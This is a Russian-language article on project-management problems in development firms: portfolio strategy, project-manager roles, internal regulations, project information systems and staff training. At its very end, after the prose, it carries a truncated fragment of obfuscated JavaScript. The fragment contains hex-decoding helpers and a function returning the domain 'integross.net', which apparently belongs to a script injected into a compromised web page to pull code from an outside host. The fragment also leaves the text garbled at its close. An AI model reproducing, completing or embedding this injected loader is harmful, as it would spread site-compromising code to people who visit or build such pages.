До недавнего времени мы наблюдали бурный рост девелопмента. Инвестирование в строительство и реконструкцию объектов оформились в отдельную область деятельности со своими специфическими особенностями. Большие денежные потоки и хорошая прибыльность позволяли этому направлению успешно развиваться. Часто начатые проекты перепродавались девелоперскими компаниями на начальных стадиях реализации и поэтому не требовали грамотного управления.
Ситуация менялась, и когда проекты начали реализовываться в полном объеме, стала очевидной потребность в детальном управлении. В качестве основных управленческих технологий, вполне естественно, стали применятся и развиваться элементы теории управления проектами. Компании начали обучать своих сотрудников новым методам работы, внедрять специализированные информационные системы. Проектный менеджмент, как технология управления, прочно занял свои позиции в девелоперских компаниях, и агитировать за его применение сейчас уже не требуется.
Поэтому цель данной статьи состоит не в изложении основных положений теории управления проектами, с которыми читатели при желании могут ознакомиться в специальных публикациях, а в определении основных проблем, с которыми сталкиваются девелоперские компании, уже внедрившие отдельные элементы системы проектного менеджмента. Анализ проблем и путей их решения был проведен на основе аудита систем управления ряда наших заказчиков.
Экономический кризис остановил рост и выявил общие проблемы
Что произошло в последние годы — все прекрасно знают. Падение прибыльности, в некоторых случаях до нуля, для девелоперских компаний была серьезным ударом. Но именно в это время и нужно задуматься о том, как можно повысить эффективность управления бизнесом.
Какие же общие проблемы девелопмента обнажил кризис? Основными проблемами стали распыление ресурсов (управленческих и финансовых) на реализацию большого числа проектов и реализация проектов в непрофильных сегментах. При этом хорошая доходность бизнеса в целом успокаивала, и управленческие технологии, позволяющие выявлять и управлять возможными рисками, детальный инвестиционный анализ, ранжирование проектов в портфеле не применялись в полной мере.
Можно ли решить эти проблемы сейчас? Конечно. И, только решив эти проблемы, компании смогут выжить сегодня, и надеяться на рост в дальнейшем, когда кризисная ситуация в экономике закончится.
Каким способом нужно решать эти проблемы? Банальный ответ — с помощью применения технологий проектного менеджмента. Но ведь мы видим, что практически все крупные девелоперские компании имеют у себя не только отдельных специалистов, а целые подразделения по управлению проектами. Вот с этим и давайте разберемся – как развить имеющиеся в девелоперских компаниях управленческие технологии и сделать их более эффективными.
Основные особенности управления девелоперскими проектами
В целом главные особенности девелоперских проектов за последние десять лет выявились и являются общеизвестными. Поэтому перечислять их все не имеет смысла, но выделить некоторые ключевые, из-за которых возникают трудности в управлении проектами – нужно. Определение ключевых особенностей – первый шаг к нахождению путей решения проблем.
Одна из особенностей – высокая степень государственного регулирования и длительные сроки подготовительных работ и согласований (подбор земельного участка, выбор юридической схемы, сбор исходно-разрешительной документации, разработка и согласование градостроительной документации, экспертизы). В среднем, на подготовку исходно-разрешительной документации «под ключ» требуется от десяти месяцев до трех лет, в зависимости от сложности и объема проекта. Следовательно, важным моментом является управление сроками и точное определение основных вех проекта, прохождение которых нужно отслеживать.
Несмотря на то, что все участники процесса капитального строительства (инвестор, заказчик, генеральный подрядчик, проектировщик и субподрядчики) работают на достижение единой цели – передачи сооружаемого объекта в эксплуатацию, у девелоперской компании есть своя специфическая цель – добиться максимального увеличения нормативной стоимости проекта на этапе инвестирования и снижение реальной себестоимости на этапе реализации. Именно девелопер берет на себя большую часть рисков, связанных с реализацией проекта. Поэтому для девелоперских компаний важно управление портфелем проектов и управление рисками. Еще на самом начальном этапе, при формировании идеи и коммерческой концепции будущего проекта, необходимо верно оценить перспективы, определить риски, выделить требуемые ресурсы, провести обширную подготовительную работу по четким планам.
Высокая капиталоемкость требует повышенного внимания к управлению стоимостью. Технологическая сложность реализации, наличие большого количества контракторов приводят к повышению требований к организации проектных коммуникаций и управления документооборотом.
Типовые проблемы, выявляемые в системах управления девелоперскими проектами
У каждой компании есть свои особенности. Общим для всех является то, что развитие системы управления проектами (СУП) проходит определенные этапы – уровни зрелости. На каждом из уровней можно выделить общие типовые задачи развития. Не вдаваясь в описание конкретных моделей зрелости СУП, в целом можно сказать, что большинство девелоперских компаний находятся на начальном уровне развития системы управления проектами:
в компании существуют отдельные практики успешных проектов;
введена единая терминология управления проектами;
введен общий реестр реализуемых проектов;
проведено обучение отдельных сотрудников управлению проектами;
есть понимание общей полезности применения методов управления проектами на уровне высшего руководства.
Для такого уровня зрелости девелоперских компаний характерны общие типовые проблемы, которые можно классифицировать, и указать направления их решений. В рамках одной статьи трудно подробно описать все методы решений, но на некоторых, наиболее важных, мы остановимся более подробно.
- Отсутствие стратегии управления портфелем проектов
Фактически это означает, что портфель проектов не выделяется как объект управления на уровне стратегии бизнеса, определяемой высшем менеджментом компании.
Обычно проблемы управления портфелем заключаются в отсутствии определения:
целевой структуры портфеля;
критериев включения проектов в портфель;
правил принятия решений о «судьбе» проекта с учетом влияния на портфель;
элемента оргструктуры компании, отвечающей за управление портфелями проектов.
Пути решения данной проблемы заключаются в формализации процессов формирования и мониторинга портфеля. Это достигается путем создания соответствующей нормативно-регламентной базы и внедрения специализированного ИТ-решения. Обычно на уровне инвестора мы рекомендуем к внедрению систему «АСУ-Инвест», включающую в себя не только собственно систему управления инвестиционными проектами, но и методологию, адаптируемую под задачи заказчика. Для небольших компаний возможно использование более простых решений.
Также необходимо формировать проектный офис (при его отсутствии в компании), на который будут возложены функции администрирования проектов. Отдельным подразделением может быть отдел (управление) экспертизы проектов, сотрудники которого будут отвечать за инвестиционный анализ проектов, их отбор для портфеля и управление сформированным портфелем, включая регулярную отчетность для высшего менеджмента компании.
- Рост компании не обеспечивается текущими ресурсами
Рост числа проектов приводит к увеличению штатной численности сотрудников, но в рамках существующих оргструктур это не решает задачу эффективного управления проектами. Особенно явно это проявляется при реализации географически распределенных проектов.
Пути решения проблемы заключаются в формировании проектно-ориентированной оргструктуры в компании, частью которой является проектный офис. Его сотрудники будут участвовать в решении следующих задач:
формирование плана набора проектного персонала с требуемыми компетенциями, в соответствии со стратегией роста компании и набора проектов в портфеле;
формирование рабочих групп не только на отдельные проекты, но и на отдельные фазы реализации проектов, с более четкой формализацией бизнес-процессов;
пересмотр бизнес-процессов контрактации с учетом реализации проектов в регионах (если таковые имеются).
- Несовершенство «института» менеджеров (директоров) проектов
Этот пункт тесно связан с предыдущим. Часто у менеджера проекта (МП) отсутствуют реальные полномочия, ему не передается вся полнота ответственности за проект. В этом случае МП не принимает решения самостоятельно, а обсуждает их с вышестоящим руководством, например, директором по управлению проектами. То есть фактически исполняет роль администратора проекта. При росте числа проектов, и соответствующем росте количества МП, решения все равно продолжает принимать один директор, что приводит к существенным ограничениям – этот человек просто перестает справляться и контролировать ситуацию.
Поэтому основные проблемы с организацией работы сотрудников в роли МП обычно заключаются в следующем:
МП, по сути, выполняют функцию администраторов проектов;
отсутствуют четкие определения места МП в оргструктуре, функций, полномочий и ответственности;
высокая загрузка МП слабо сочетается с существующей системой мотивации, что приводит к отсутствию проявления разумной инициативы.
Решить это проблему можно за счет:
выделение роли «Куратор проекта» для решения общих организационных вопросов;
введения в оргструктуру роли «Администратора проекта» (ассистента МП), подчинение ее МП и дифференциации обязанностей;
определения улучшенной системы мотивации МП (об этом подробнее будет описано ниже);
наделение полномочиями МП, определение границ полномочий для принятия решений, и закрепление этого в разработанном Положении о менеджере (директоре) проекта.
- Существующая нормативно-регламентная база управления проектами не удовлетворяет потребностям компании
Проблемы в данной области характеризуются следующим:
нет единого понимания ключевых характеристик проекта, как объекта управления:
определение точек старта и окончания проекта;
классификации проектов;
вех принятия решений;
показателей, характеризующих ход реализации проекта;
недостаточная формализация основных процессов управления отдельными проектами и портфелем;
при росте компании и ротации кадров есть высокая вероятность потери управляемости;
хаотичные информационные потоки, например:
техзаказчик решает вопросы напрямую с руководством компании;
МП и техзаказчик не используют в своей работе информацию отдела экспертизы портфеля проектов;
информация для сводной отчетности разрознена и может быть неактуальной;
по итогам реализации проекта в целом и отдельных его фаз не предусмотрена процедура подведения итогов:
выявление и документирование «сильных» решений, передовых практик;
типовые проблемы и риски не выявляются, что приводит к отсутствию «обратной связи» в контуре управления рисками;
распределение функций подразделений часто не соответствует их организационному назначению, например:
ответственный за стратегию — занимается бюджетом;
ответственный за бюджетирование — попутно занимается внедрением ИТ-решения;
компоненты экономической модели эффективности рассчитываются разрознено в разных подразделениях.
Решение этих проблем связано с достаточно длительной, объемной и высококвалифицированной работой, связанной с улучшением существующей нормативно-регламентной базы (НРБ) управления проектами. Одной из рекомендаций может быть привлечение внешних консультантов для создания и модернизации НРБ, при отсутствии или явно недостаточной компетенции сотрудников проектного офиса.
Основные начальные меры по совершенствованию НРБ:
разработка классификации проектов;
определение типового жизненного цикла проекта и основных вех принятия решений;
разграничение уровней принятия решений, что особенно актуально именно для девелоперских компаний: портфель проектов – проект – фаза проекта;
введение и формализация бизнес-процессов проведения изменений в отдельных проектах и портфеле (что крайне важно при анализе портфеля);
разработка методического обеспечения и шаблонов основных проектных документов (при их отсутствии).
В перспективе, после реализации указанных мер, необходимо:
формализовать процесс мониторинга портфеля проектов;
формализовать следующие процессы управления проектами:
запуск проекта;
планирование фаз;
исполнение и контроль;
завершение;
определить целевые показатели эффективности процесса привлечения новых проектов в портфель и вести их расчет в информационной системе (для исключения возможных злоупотреблений на первоначальном этапе коммерческой проработки идеи строительства);
определить типовые организационно-ролевые структуры для разных типов проектов;
разработать процедуру корректировки НРБ по результатам реализации проектов и развития компании в будущем.
- Информационная система управления проектами не охватывает всех требуемых областей управления и контроля или вовсе отсутствует как «система»
На рассматриваемом нами уровне зрелости компании, информационная система управления проектами (ИСУП) обычно представляет собой инсталляцию каких-либо систем календарного планирования (например, Microsoft Project или Primavera), которые используются только для создания календарных планов. Причем часто это локальные рабочие места, без общей консолидации информационных потоков, не говоря уже о бизнес-анализе на основе вводимых данных. Часто приходится наблюдать «зоопарк» из информационных систем, хотя в сфере управления проектами их немного.
Общие проблемы с ИСУП обычно заключаются в:
большом количестве разрозненных данных (планы, таблицы, документы, сделанные в разных системах и хранящиеся в разных местах);
сложности формирования консолидированной отчетности;
отсутствии средств мониторинга реализации проектов для высшего руководства;
отсутствии электронного проектного документооборота, связанного с календарными планами, и информационных систем обеспечения проектных коммуникаций;
онлайновый доступ к информации и документам из регионов (при необходимости).
Путь решения этих проблем известен – внедрение единой информационной системы, которая позволит не только осуществлять календарное планирование, но и управлять портфелем проектов, поддерживать документооборот и проводить мониторинг и бизнес-анализ.
На что хотелось бы обратить внимание при постановке задачи для внедрения:
Нужно четко определить функциональные требования к ИСУП, которые не должны браться «с потолка» или «как у коллег», а быть обоснованы в разработанной НРБ – т.е. процесс формирования методологии первичен, а не наоборот, когда под внедренное ИТ-решение сотрудники проектного офиса пытаются подогнать рабочие документы. Конечно, процесс может быть итерационным, но лучше его проводить именно в указанном порядке (определили вид шаблона календарного плана – настроили MS Project, разработали методологию анализа – настроили модуль BI с отчетами и т.д.).
При внедрении ИСУП нужно предусмотреть реализацию функционала базы знаний, которую будут вести и пополнять сотрудники проектного офиса. Понятно, что это отдельный класс информационных систем и поэтому о них часто «забывают». Наш опыт показывает: внедрение такой базы – непременный атрибут более высокой ступени зрелости компании, оно реально повышает эффективность и прибыльность бизнеса. В качестве примера можно рекомендовать обратить внимание на систему «БРИЗ» (Банк Решений Инноваций Знаний).
Важным элементом развитой ИСУП должен быть модуль учета трудозатрат сотрудников по проектам и проектного бюджетирования. Это может быть отдельная система, но с обязательной интеграцией с существующими программами календарного планирования и документооборота.
Так как описание функциональности и особенностей внедрения подобного решения невозможно сделать в одной статье, но при этом вопрос очень важен, мы рассмотрим его чуть более подробно ниже.
- Проектный персонал не обладает достаточными компетенциями в управлении проектами
Обычно в крупных девелоперских компаниях проектный персонал (в частности, менеджеры проектов) проходит обучение управлению проектами, которое сегодня де-факто является отдельной управленческой дисциплиной (существуют профильные учебные центры, ведущие ВУЗы страны готовят выпускников по этой специализации).
Проектный персонал работает в жестких условиях высокой загрузки и большой ответственности, и сотрудники должны уметь успешно использовать разработанную НРБ и применять современные ИТ-системы.
Поэтому важен комплексный подход к обучению, который должен представлять собой не просто обучение сотрудников на каких-то отдельных курсах, а специально выстроенную систему – корпоративный университет. Успешный опыт применения такой формы развития персонала накоплен в нефтегазовой сфере.
Понятно, что не каждая компания может позволить себе иметь свой собственный учебный центр, в котором на постоянной основе будут работать высококвалифицированные преподаватели по управлению проектами. Поэтому, безусловно, можно и нужно использовать услуги внешних провайдеров обучения. При этом, если мы говорим о комплексном подходе, рекомендуется обращать внимание на следующие моменты:
выбранный учебный центр должен быть аккредитован ведущими международными стандартообразующими организациями в области управления проектами: Институтом управления проектами PMI или Международной ассоциацией управления проектами IPMA (в России представлена «СОВНЕТ») – это обеспечит использование в учебных программах лучших мировых практик проектного менеджмента;
преподаватели, являясь сертифицированными профессионалами по управлению проектами, должны быть и практикующими менеджерами проектов – это улучшит качество обучения и привнесет в него примеры из реального опыта работы в России;
комплексная программа подготовки должна включать:
предварительное тестирование обучаемых сотрудников;
адаптацию курсов и кейсов (учебных примеров) под задачи вашей компании;
собственно процесс обучения, который строится в соответствии с матрицами проектных ролей (учим не всех подряд всему, а каждого специалиста необходимым навыкам);
выходное тестирование с аналитическим отчетом для HR службы компании.
В этом случае указанная система образует замкнутый контур обучения и является практической заменой собственного корпоративного университета.
Одним из вариантов получения квалифицированного проектного персонала является практика аутсорсинга, которая успешно применяется в управлении проектами. И это не удивительно, ведь проект по определению — это временное мероприятие, имеющее начало и конец. Поэтому часто оказывается выгоднее брать квалифицированных специалистов на время реализации конкретного проекта по аутсорсинговой схеме, чем содержать их в постоянном штате.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "integross.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e